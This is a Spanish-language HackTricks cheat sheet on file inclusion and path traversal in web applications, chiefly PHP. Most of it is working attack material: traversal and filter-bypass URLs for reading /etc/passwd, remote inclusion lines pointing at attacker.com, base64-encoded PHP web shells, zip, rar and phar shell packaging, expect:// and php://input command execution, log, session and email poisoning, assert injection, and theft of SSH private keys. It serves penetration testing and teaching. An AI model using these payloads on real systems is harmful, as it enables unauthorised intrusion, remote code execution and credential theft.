hacktricks/pentesting-web/file-inclusion/README.md

33 KiB

Inclusión de Archivos/Travesía de Rutas

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real

Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!

Inclusión de Archivos

Inclusión Remota de Archivos (RFI): El archivo se carga desde un servidor remoto (Lo mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include).
Inclusión Local de Archivos (LFI): El servidor carga un archivo local.

La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.

Funciones PHP vulnerables: require, require_once, include, include_once

Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap

Archivos Ciegos - Interesantes - LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Combinando varias listas LFI de *nix y añadiendo más rutas, he creado esta:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Intenta también cambiar / por \
Intenta también añadir ../../../../../

Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para verificar si la vulnerabilidad existe) se puede encontrar aquí

Windows

Fusionando varias listas, he creado:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Intenta también cambiar / por \
Intenta también eliminar C:/ y añadir ../../../../../

Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para verificar si la vulnerabilidad existe) se puede encontrar aquí

OS X

Revisa la lista LFI de linux.

LFI básico y bypasses

Todos los ejemplos son para Inclusión de Archivos Locales pero también podrían aplicarse a Inclusión de Archivos Remotos (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

secuencias de traversal eliminadas de forma no recursiva

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Byte nulo (%00)

Evita el añadir más caracteres al final de la cadena proporcionada (bypass de: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Esta resuelto desde PHP 5.4

Codificación

Podrías usar codificaciones no estándar como doble codificación de URL (y otras):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Desde una carpeta existente

Quizás el back-end está verificando la ruta de la carpeta:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Identificación de carpetas en un servidor

Dependiendo del código de la aplicación / caracteres permitidos, podría ser posible explorar recursivamente el sistema de archivos descubriendo carpetas y no solo archivos. Para hacerlo:

  • identifica la "profundidad" de tu directorio actual al recuperar con éxito /etc/passwd (si estás en Linux):
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  • intente adivinar el nombre de una carpeta en el directorio actual agregando el nombre de la carpeta (aquí, private), y luego regresando a /etc/passwd:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
  • si la aplicación es vulnerable, podrían darse dos resultados diferentes a la solicitud:
  • si obtienes un error / no hay salida, la carpeta private no existe en esta ubicación
  • si obtienes el contenido de /etc/passwd, has validado que efectivamente existe una carpeta private en tu directorio actual
  • las carpetas que descubriste utilizando esta técnica pueden ser sometidas a fuzzing para archivos (usando un método LFI clásico) o para subdirectorios utilizando la misma técnica de manera recursiva.

Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a profundidad 3 del sistema de archivos) quieres verificar si /var/www/ contiene un directorio private, utiliza el siguiente payload:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

La siguiente secuencia de comandos permite la generación de payloads utilizando sed (1) como entrada para herramientas de fuzzing de URL como ffuf (2):

$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'

Por supuesto, adapta estos payloads a tus necesidades en términos de profundidad / ubicación / lista de directorios de entrada.

Path truncation

Evita la adición de más caracteres al final de la cadena proporcionada (bypass de: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Siempre intenta iniciar la ruta con un directorio falso (a/).

Esta vulnerabilidad se corrigió en PHP 5.3.

Trucos para eludir filtros

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Inclusión Remota de Archivos

En php esto está deshabilitado por defecto porque allow_url_include está en Off. Debe estar en On para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si por alguna razón allow_url_include está On, pero PHP está filtrando el acceso a páginas web externas, según este post, podrías usar, por ejemplo, el protocolo de datos con base64 para decodificar un código PHP en b64 y obtener RCE:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} En el código anterior, se agregó +.txt al final porque el atacante necesitaba una cadena que terminara en .txt, así que la cadena termina con ello y después de la decodificación b64 esa parte solo devolverá basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado). {% endhint %}

Otro ejemplo sin usar el protocolo php:// sería:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}

## Elemento Raíz en Python

En python en un código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si el usuario pasa una ruta absoluta a file_name, la ruta anterior simplemente se elimina:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Es el comportamiento previsto según la documentación:

Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de la ruta absoluta.

Java Listar Directorios

Parece que si tienes un Path Traversal en Java y solicitas un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no ocurrirá en otros lenguajes (hasta donde yo sé).

Top 25 parámetros

Aquí hay una lista de los 25 parámetros principales que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de enlace):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando envoltorios y protocolos de PHP

php://filter

Los filtros de PHP permiten realizar operaciones básicas de modificación en los datos antes de que sean leídos o escritos. Hay 5 categorías de filtros:

  • Filtros de Cadenas:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Elimina etiquetas de los datos (todo entre los caracteres "<" y ">")
  • Nota que este filtro ha desaparecido de las versiones modernas de PHP
  • Filtros de Conversión
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforma a una codificación diferente (convert.iconv.<input_enc>.<output_enc>). Para obtener la lista de todas las codificaciones soportadas ejecuta en la consola: iconv -l

{% hint style="warning" %} Abusando del filtro de conversión convert.iconv.* puedes generar texto arbitrario, lo cual podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información revisa LFI2RCE a través de filtros de PHP. {% endhint %}

  • Filtros de Compresión
  • zlib.deflate: Comprime el contenido (útil si se está exfiltrando mucha información)
  • zlib.inflate: Descomprime los datos
  • Filtros de Encriptación
  • mcrypt.* : Obsoleto
  • mdecrypt.* : Obsoleto
  • Otros Filtros
  • Ejecutando en php var_dump(stream_get_filters()); puedes encontrar un par de filtros inesperados:
  • consumed
  • dechunk: revierte la codificación de fragmentos HTTP
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} La parte "php://filter" no distingue entre mayúsculas y minúsculas {% endhint %}

php://fd

Este envoltorio permite acceder a los descriptores de archivo que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

También puedes usar php://stdin, php://stdout y php://stderr para acceder a los descriptores de archivo 0, 1 y 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)

zip:// y rar://

Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.
Para poder abusar del protocolo rar, este necesita estar específicamente activado.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Hecho curioso: puedes activar un XSS y evadir el Auditor de Chrome con: http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Ten en cuenta que este protocolo está restringido por las configuraciones de php allow_url_open y allow_url_include

expect://

Expect debe estar activado. Puedes ejecutar código utilizando esto.

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifique su payload en los parámetros POST

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

phar://

Un archivo .phar también puede ser utilizado para ejecutar código PHP si la web está usando alguna función como include para cargar el archivo.

{% code title="create_phar.php" %}

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

{% endcode %}

Y puedes compilar el phar ejecutando la siguiente línea:

php --define phar.readonly=0 create_path.php

Se generará un archivo llamado test.phar que puedes usar para abusar del LFI.

Si el LFI solo está leyendo el archivo y no ejecutando el código PHP dentro de él, por ejemplo, utilizando funciones como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize(). Puedes intentar abusar de una deserialización que ocurre al leer un archivo utilizando el protocolo phar.
Para más información, lee el siguiente post:

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Más protocolos

Consulta más protocolos posibles para incluir aquí:

  • php://memory y php://temp — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
  • file:// — Acceso al sistema de archivos local
  • http:// — Acceso a URLs HTTP(s)
  • ftp:// — Acceso a URLs FTP(s)
  • zlib:// — Streams de compresión
  • glob:// — Buscar rutas que coincidan con un patrón (No devuelve nada imprimible, por lo que no es realmente útil aquí)
  • ssh2:// — Secure Shell 2
  • ogg:// — Streams de audio (No es útil para leer archivos arbitrarios)

LFI vía 'assert' de PHP

Si te encuentras con un LFI difícil que parece estar filtrando cadenas de traversal como ".." y responde con algo como "Intento de hacking" o "¡Buena prueba!", un payload de inyección 'assert' puede funcionar.

Un payload como este:

' and die(show_source('/etc/passwd')) or '

explotará con éxito código PHP para un parámetro "file" que se ve así:

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

También es posible obtener RCE en una declaración "assert" vulnerable utilizando la función system():

' and die(system("whoami")) or '

Asegúrate de codificar las cargas útiles en URL antes de enviarlas.

¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.

Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.

Únete a nosotros en Discord ¡y comienza a colaborar con los mejores hackers hoy!

PHP Blind Path Traversal

{% hint style="warning" %} Esta técnica es relevante en casos donde controlas la ruta del archivo de una función PHP que accederá a un archivo pero no verás el contenido del archivo (como una simple llamada a file()), pero el contenido no se muestra. {% endhint %}

En este increíble post se explica cómo se puede abusar de un blind path traversal a través de un filtro PHP para exfiltrar el contenido de un archivo a través de un oráculo de error.

Como resumen, la técnica utiliza la codificación "UCS-4LE" para hacer que el contenido de un archivo sea tan grande que la función PHP que abre el archivo provocará un error.

Luego, para filtrar el primer carácter se utiliza el filtro dechunk junto con otros como base64 o rot13 y finalmente los filtros convert.iconv.UCS-4.UCS-4LE y convert.iconv.UTF16.UTF-16BE se usan para colocar otros caracteres al principio y filtrarlos.

Funciones que podrían ser vulnerables: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (solo objetivo de solo lectura con esto), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Para los detalles técnicos, ¡revisa el post mencionado!

LFI2RCE

Inclusión Remota de Archivos

Explicado anteriormente, sigue este enlace.

Vía archivo de registro de Apache/Nginx

Si el servidor Apache o Nginx es vulnerable a LFI dentro de la función include, podrías intentar acceder a /var/log/apache2/access.log o /var/log/nginx/access.log, establecer dentro del agente de usuario o dentro de un parámetro GET una shell de PHP como <?php system($_GET['c']); ?> e incluir ese archivo.

{% hint style="warning" %} Ten en cuenta que si usas comillas dobles para la shell en lugar de comillas simples, las comillas dobles se modificarán por la cadena "quote;", PHP lanzará un error allí y nada más se ejecutará.

Además, asegúrate de escribir correctamente la carga útil o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad. {% endhint %}

Esto también podría hacerse en otros registros pero ten cuidado, el código dentro de los registros podría estar codificado en URL y esto podría destruir la Shell. El encabezado autorización "basic" contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. La PHPShell podría insertarse dentro de este encabezado.
Otras posibles rutas de registros:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Lista de fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Vía Email

Envía un correo a una cuenta interna (usuario@localhost) que contenga tu payload de PHP como <?php echo system($_REQUEST["cmd"]); ?> e intenta incluir el correo del usuario con una ruta como /var/mail/<NOMBREDEUSUARIO> o /var/spool/mail/<NOMBREDEUSUARIO>

Vía /proc/*/fd/*

  1. Sube muchas shells (por ejemplo: 100)
  2. Incluye http://example.com/index.php?page=/proc/$PID/fd/$FD, donde $PID = PID del proceso (puede ser forzado bruscamente) y $FD el descriptor de archivo (también puede ser forzado bruscamente)

Vía /proc/self/environ

Como un archivo de registro, envía el payload en el User-Agent, se reflejará dentro del archivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Vía carga de archivos

Si puedes cargar un archivo, simplemente inyecta el payload de la shell en él (por ejemplo: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf

A través de la carga de archivos Zip

Sube un archivo ZIP que contenga un shell PHP comprimido y accede:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

A través de sesiones PHP

Comprueba si el sitio web utiliza Sesión PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, estas sesiones se almacenan en archivos /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Establece la cookie en <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utiliza el LFI para incluir el archivo de sesión PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Vía ssh

Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status & /etc/passwd) e intenta acceder a <HOME>/.ssh/id_rsa

Vía vsftpd logs

Los registros de este servidor FTP se almacenan en /var/log/vsftpd.log. Si tienes un LFI y puedes acceder a un servidor vsftpd expuesto, podrías intentar iniciar sesión estableciendo el payload de PHP en el nombre de usuario y luego acceder a los registros utilizando el LFI.

Vía filtro base64 de php (usando base64)

como se muestra en este artículo, el filtro base64 de PHP simplemente ignora los caracteres que no son base64. Puedes usar eso para eludir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

Este writeup explica que puedes usar filtros php para generar contenido arbitrario como salida. Lo que básicamente significa que puedes generar código php arbitrario para el include sin necesidad de escribir en un archivo.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via segmentation fault

Sube un archivo que se almacenará como temporal en /tmp, luego en la misma solicitud, provoca un segmentation fault, y entonces el archivo temporal no se eliminará y podrás buscarlo.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via Nginx temp file storage

Si encontraste una Local File Inclusion y Nginx está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

Si encontraste una Local File Inclusion incluso si no tienes una sesión y session.auto_start está en Off. Si proporcionas el PHP_SESSION_UPLOAD_PROGRESS en datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via temp file uploads in Windows

Si encontraste una Local File Inclusion y el servidor está ejecutándose en Windows, podrías obtener RCE:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = on)

Si encontraste una Local File Inclusion y un archivo que expone phpinfo() con file_uploads = on, puedes obtener RCE:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Si encontraste una Local File Inclusion y puedes exfiltrar la ruta del archivo temporal PERO el servidor está verificando si el archivo a incluir tiene marcas de PHP, puedes intentar burlar esa verificación con esta Condición de Carrera:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via eternal waiting + bruteforce

Si puedes abusar de la LFI para subir archivos temporales y hacer que el servidor cuelgue la ejecución de PHP, podrías entonces fuerza bruta en los nombres de archivos durante horas para encontrar el archivo temporal:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

To Fatal Error

Si incluyes cualquiera de los archivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Necesitas incluir el mismo dos veces para provocar ese error).

No sé cómo esto puede ser útil, pero podría serlo.
Incluso si causas un PHP Fatal Error, los archivos temporales subidos de PHP se eliminan.

Referencias

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.

Hacking Insights
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.

Real-Time Hack News
Mantente al día con el mundo del hacking a través de noticias e insights en tiempo real.

Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones cruciales de la plataforma.

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: